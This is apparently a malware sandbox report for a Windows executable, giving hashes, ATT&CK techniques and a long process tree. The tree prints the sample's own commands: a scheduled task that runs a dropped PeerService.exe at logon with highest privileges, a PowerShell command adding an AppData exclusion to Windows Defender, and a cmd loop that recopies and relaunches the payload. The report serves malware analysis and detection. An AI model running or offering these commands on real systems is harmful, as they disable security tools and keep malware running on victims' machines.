262aa0b4cad99158d1e9f547f3798b2ecb48300bbceff7b96f1f123fee3a2363

Analysis

max time kernel
150s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/08/2026, 21:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
262aa0b4cad99158d1e9f547f3798b2ecb48300bbceff7b96f1f123fee3a2363.exe
Size 5.7MB
Sample260830-z7mdjsdc99
SHA256 262aa0b4cad99158d1e9f547f3798b2ecb48300bbceff7b96f1f123fee3a2363
MD5 a4de8250cb96bd20b461d369d044fda4
SHA1 f8962503c641bbc5216af39cb50c345e376a91ac
SHA512 a447b2ff39da8f8c7225d0f262b76905d871aee754f57f5ab9fe494db3fe0f08abf4aeab3603b93bd10b2181540e12b9586f5a2a83d897aa48f0a95a3ea0c8a0
SSDEEP 98304:i+hBp75lKkBcfWGoqZ92yVG/uzGNV9HkAVHL/DKmFfCVQ42+SMWNf:i+hBtOkSeByQyVG/uzGNVyAl3K8fCGn5
TLSH
T19456F12BB26901E8D1BFD17CC9065907EBB2780543A0A7CF12E046A62F77BE14E7E715
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
760	powershell.exe
4364	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	262aa0b4cad99158d1e9f547f3798b2ecb48300bbceff7b96f1f123fee3a2363.exe

Executes dropped EXE 2 IoCs

pid	Process
2564	PeerService.exe
2300	PeerService.exe

Discovers running processes 1 TTPs 60 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4564	tasklist.exe
4168	tasklist.exe
4736	tasklist.exe
4140	tasklist.exe
3408	tasklist.exe
4360	tasklist.exe
4704	tasklist.exe
2908	tasklist.exe
4572	tasklist.exe
4132	tasklist.exe
444	tasklist.exe
4512	tasklist.exe
3224	tasklist.exe
5024	tasklist.exe
924	tasklist.exe
3636	tasklist.exe
4636	tasklist.exe
2576	tasklist.exe
4476	tasklist.exe
4052	tasklist.exe
4360	tasklist.exe
416	tasklist.exe
3312	tasklist.exe
3040	tasklist.exe
1572	tasklist.exe
4828	tasklist.exe
2980	tasklist.exe
3872	tasklist.exe
1196	tasklist.exe
2760	tasklist.exe
5076	tasklist.exe
1844	tasklist.exe
3268	tasklist.exe
4100	tasklist.exe
1664	tasklist.exe
1056	tasklist.exe
1108	tasklist.exe
3104	tasklist.exe
2284	tasklist.exe
3092	tasklist.exe
444	tasklist.exe
848	tasklist.exe
2352	tasklist.exe
3212	tasklist.exe
776	tasklist.exe
2868	tasklist.exe
3916	tasklist.exe
3928	tasklist.exe
3432	tasklist.exe
3444	tasklist.exe
2468	tasklist.exe
4464	tasklist.exe
4808	tasklist.exe
1576	tasklist.exe
1388	tasklist.exe
2856	tasklist.exe
1084	tasklist.exe
2980	tasklist.exe
828	tasklist.exe
2536	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4308	cmd.exe
5092	cmd.exe
1684	cmd.exe
1236	cmd.exe
3664	cmd.exe

Delays execution with timeout.exe 59 IoCs

defense_evasion

pid	Process
764	timeout.exe
1468	timeout.exe
4344	timeout.exe
1468	timeout.exe
2876	timeout.exe
4704	timeout.exe
3324	timeout.exe
4868	timeout.exe
3300	timeout.exe
2796	timeout.exe
4504	timeout.exe
436	timeout.exe
3012	timeout.exe
4288	timeout.exe
3708	timeout.exe
220	timeout.exe
4580	timeout.exe
3328	timeout.exe
4100	timeout.exe
2952	timeout.exe
4288	timeout.exe
4292	timeout.exe
3356	timeout.exe
3528	timeout.exe
1800	timeout.exe
2380	timeout.exe
1252	timeout.exe
4576	timeout.exe
4712	timeout.exe
4920	timeout.exe
4172	timeout.exe
872	timeout.exe
3708	timeout.exe
5032	timeout.exe
1704	timeout.exe
4740	timeout.exe
1664	timeout.exe
1952	timeout.exe
4432	timeout.exe
2536	timeout.exe
3956	timeout.exe
2760	timeout.exe
3232	timeout.exe
3824	timeout.exe
1948	timeout.exe
1848	timeout.exe
216	timeout.exe
3336	timeout.exe
5016	timeout.exe
2352	timeout.exe
4960	timeout.exe
3976	timeout.exe
1360	timeout.exe
3300	timeout.exe
3696	timeout.exe
3604	timeout.exe
3408	timeout.exe
4596	timeout.exe
2456	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4516	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
760	powershell.exe
760	powershell.exe
4364	powershell.exe
4364	powershell.exe
4364	powershell.exe

Suspicious use of AdjustPrivilegeToken 62 IoCs

description	pid	Process
Token: SeDebugPrivilege	2868	tasklist.exe
Token: SeDebugPrivilege	760	powershell.exe
Token: SeDebugPrivilege	4364	powershell.exe
Token: SeDebugPrivilege	2576	tasklist.exe
Token: SeDebugPrivilege	4476	tasklist.exe
Token: SeDebugPrivilege	3268	tasklist.exe
Token: SeDebugPrivilege	3916	tasklist.exe
Token: SeDebugPrivilege	4704	tasklist.exe
Token: SeDebugPrivilege	4464	tasklist.exe
Token: SeDebugPrivilege	848	tasklist.exe
Token: SeDebugPrivilege	3872	tasklist.exe
Token: SeDebugPrivilege	4168	tasklist.exe
Token: SeDebugPrivilege	2352	tasklist.exe
Token: SeDebugPrivilege	4100	tasklist.exe
Token: SeDebugPrivilege	3928	tasklist.exe
Token: SeDebugPrivilege	444	tasklist.exe
Token: SeDebugPrivilege	2536	tasklist.exe
Token: SeDebugPrivilege	3104	tasklist.exe
Token: SeDebugPrivilege	4360	tasklist.exe
Token: SeDebugPrivilege	1664	tasklist.exe
Token: SeDebugPrivilege	1056	tasklist.exe
Token: SeDebugPrivilege	1576	tasklist.exe
Token: SeDebugPrivilege	3432	tasklist.exe
Token: SeDebugPrivilege	3212	tasklist.exe
Token: SeDebugPrivilege	416	tasklist.exe
Token: SeDebugPrivilege	4564	tasklist.exe
Token: SeDebugPrivilege	1388	tasklist.exe
Token: SeDebugPrivilege	3224	tasklist.exe
Token: SeDebugPrivilege	4736	tasklist.exe
Token: SeDebugPrivilege	2856	tasklist.exe
Token: SeDebugPrivilege	5024	tasklist.exe
Token: SeDebugPrivilege	2908	tasklist.exe
Token: SeDebugPrivilege	4808	tasklist.exe
Token: SeDebugPrivilege	3444	tasklist.exe
Token: SeDebugPrivilege	1196	tasklist.exe
Token: SeDebugPrivilege	3312	tasklist.exe
Token: SeDebugPrivilege	3040	tasklist.exe
Token: SeDebugPrivilege	4140	tasklist.exe
Token: SeDebugPrivilege	2980	tasklist.exe
Token: SeDebugPrivilege	1084	tasklist.exe
Token: SeDebugPrivilege	4572	tasklist.exe
Token: SeDebugPrivilege	2760	tasklist.exe
Token: SeDebugPrivilege	924	tasklist.exe
Token: SeDebugPrivilege	3408	tasklist.exe
Token: SeDebugPrivilege	2284	tasklist.exe
Token: SeDebugPrivilege	3636	tasklist.exe
Token: SeDebugPrivilege	4132	tasklist.exe
Token: SeDebugPrivilege	1572	tasklist.exe
Token: SeDebugPrivilege	444	tasklist.exe
Token: SeDebugPrivilege	4052	tasklist.exe
Token: SeDebugPrivilege	4360	tasklist.exe
Token: SeDebugPrivilege	828	tasklist.exe
Token: SeDebugPrivilege	1108	tasklist.exe
Token: SeDebugPrivilege	3092	tasklist.exe
Token: SeDebugPrivilege	5076	tasklist.exe
Token: SeDebugPrivilege	4512	tasklist.exe
Token: SeDebugPrivilege	4828	tasklist.exe
Token: SeDebugPrivilege	1844	tasklist.exe
Token: SeDebugPrivilege	2980	tasklist.exe
Token: SeDebugPrivilege	4636	tasklist.exe
Token: SeDebugPrivilege	2468	tasklist.exe
Token: SeDebugPrivilege	776	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3896 wrote to memory of 4308	3896	262aa0b4cad99158d1e9f547f3798b2ecb48300bbceff7b96f1f123fee3a2363.exe	86
PID 4308 wrote to memory of 4516	4308	cmd.exe	88
PID 3896 wrote to memory of 2564	3896	262aa0b4cad99158d1e9f547f3798b2ecb48300bbceff7b96f1f123fee3a2363.exe	89
PID 2564 wrote to memory of 5092	2564	PeerService.exe	92
PID 2564 wrote to memory of 1684	2564	PeerService.exe	93
PID 1684 wrote to memory of 2868	1684	cmd.exe	97
PID 1684 wrote to memory of 3452	1684	cmd.exe	98
PID 5092 wrote to memory of 760	5092	cmd.exe	99
PID 2300 wrote to memory of 3664	2300	PeerService.exe	101
PID 2300 wrote to memory of 1236	2300	PeerService.exe	104
PID 3664 wrote to memory of 4364	3664	cmd.exe	106
PID 1236 wrote to memory of 2576	1236	cmd.exe	107
PID 1236 wrote to memory of 888	1236	cmd.exe	108
PID 1684 wrote to memory of 1360	1684	cmd.exe	109
PID 1236 wrote to memory of 1468	1236	cmd.exe	110
PID 1684 wrote to memory of 4476	1684	cmd.exe	114
PID 1684 wrote to memory of 1252	1684	cmd.exe	115
PID 1684 wrote to memory of 3708	1684	cmd.exe	116
PID 1236 wrote to memory of 3268	1236	cmd.exe	117
PID 1236 wrote to memory of 1704	1236	cmd.exe	118
PID 1236 wrote to memory of 3300	1236	cmd.exe	119
PID 1684 wrote to memory of 3916	1684	cmd.exe	123
PID 1684 wrote to memory of 3036	1684	cmd.exe	124
PID 1684 wrote to memory of 5032	1684	cmd.exe	126
PID 1236 wrote to memory of 4704	1236	cmd.exe	127
PID 1236 wrote to memory of 1348	1236	cmd.exe	128
PID 1236 wrote to memory of 220	1236	cmd.exe	129
PID 1684 wrote to memory of 4464	1684	cmd.exe	130
PID 1684 wrote to memory of 4712	1684	cmd.exe	131
PID 1684 wrote to memory of 3956	1684	cmd.exe	132
PID 1236 wrote to memory of 848	1236	cmd.exe	133
PID 1236 wrote to memory of 3156	1236	cmd.exe	134
PID 1236 wrote to memory of 3336	1236	cmd.exe	135
PID 1684 wrote to memory of 3872	1684	cmd.exe	136
PID 1684 wrote to memory of 1800	1684	cmd.exe	137
PID 1684 wrote to memory of 2796	1684	cmd.exe	138
PID 1236 wrote to memory of 4168	1236	cmd.exe	139
PID 1236 wrote to memory of 3888	1236	cmd.exe	140
PID 1236 wrote to memory of 2760	1236	cmd.exe	141
PID 1684 wrote to memory of 2352	1684	cmd.exe	142
PID 1684 wrote to memory of 1804	1684	cmd.exe	143
PID 1684 wrote to memory of 4580	1684	cmd.exe	144
PID 1236 wrote to memory of 4100	1236	cmd.exe	146
PID 1236 wrote to memory of 4536	1236	cmd.exe	147
PID 1236 wrote to memory of 4596	1236	cmd.exe	149
PID 1684 wrote to memory of 3928	1684	cmd.exe	151
PID 1684 wrote to memory of 1792	1684	cmd.exe	152
PID 1684 wrote to memory of 3696	1684	cmd.exe	153
PID 1236 wrote to memory of 444	1236	cmd.exe	154
PID 1236 wrote to memory of 3744	1236	cmd.exe	155
PID 1236 wrote to memory of 2876	1236	cmd.exe	156
PID 1684 wrote to memory of 2536	1684	cmd.exe	157
PID 1684 wrote to memory of 4340	1684	cmd.exe	158
PID 1684 wrote to memory of 1252	1684	cmd.exe	159
PID 1236 wrote to memory of 3104	1236	cmd.exe	160
PID 1236 wrote to memory of 952	1236	cmd.exe	161
PID 1236 wrote to memory of 1704	1236	cmd.exe	162
PID 1684 wrote to memory of 4360	1684	cmd.exe	163
PID 1684 wrote to memory of 4936	1684	cmd.exe	164
PID 1684 wrote to memory of 4576	1684	cmd.exe	165
PID 1236 wrote to memory of 1664	1236	cmd.exe	166
PID 1236 wrote to memory of 3908	1236	cmd.exe	167
PID 1236 wrote to memory of 4288	1236	cmd.exe	168
PID 1684 wrote to memory of 1056	1684	cmd.exe	169

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\262aa0b4cad99158d1e9f547f3798b2ecb48300bbceff7b96f1f123fee3a2363.exe
"C:\Users\Admin\AppData\Local\Temp\262aa0b4cad99158d1e9f547f3798b2ecb48300bbceff7b96f1f123fee3a2363.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3896
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F >nul 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4308
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4516
- C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
  "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:760
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1684
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2868
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3452
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1360
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4476
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1252
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3708
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3916
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3036
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5032
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4464
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4712
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3956
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3872
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1800
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2796
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2352
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1804
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4580
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3928
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1792
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3696
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2536
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4340
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1252
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4360
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4936
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4576
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1056
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:368
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3232
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3432
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2948
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4292
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:416
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:552
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3328
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1388
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2380
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3408
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4736
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:216
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4504
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5024
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5040
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2456
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4808
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2292
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4740
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1196
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4336
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4704
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3040
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3428
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2952
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2980
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4708
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3324
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4572
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2304
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:436
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:924
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2032
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3976
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2284
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4100
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1952
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4132
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4412
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2536
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:444
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:972
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1468
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4360
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4380
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3708
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1108
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3444
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5016
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5076
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3312
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4344
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4828
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4484
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1800
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2980
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1508
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4172
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2468
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2376
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2380

C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Windows\system32\cmd.exe
  cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4364
- C:\Windows\system32\cmd.exe
  cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1236
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2576
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:888
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1468
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3268
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1704
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3300
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4704
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1348
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:220
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:848
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3156
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3336
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4168
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3888
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2760
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4100
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4536
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4596
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:444
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3744
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2876
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3104
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:952
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1704
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1664
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3908
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4288
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1576
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:720
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:872
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3212
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2164
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:764
- - C:\Windows\system32\tasklist.exe
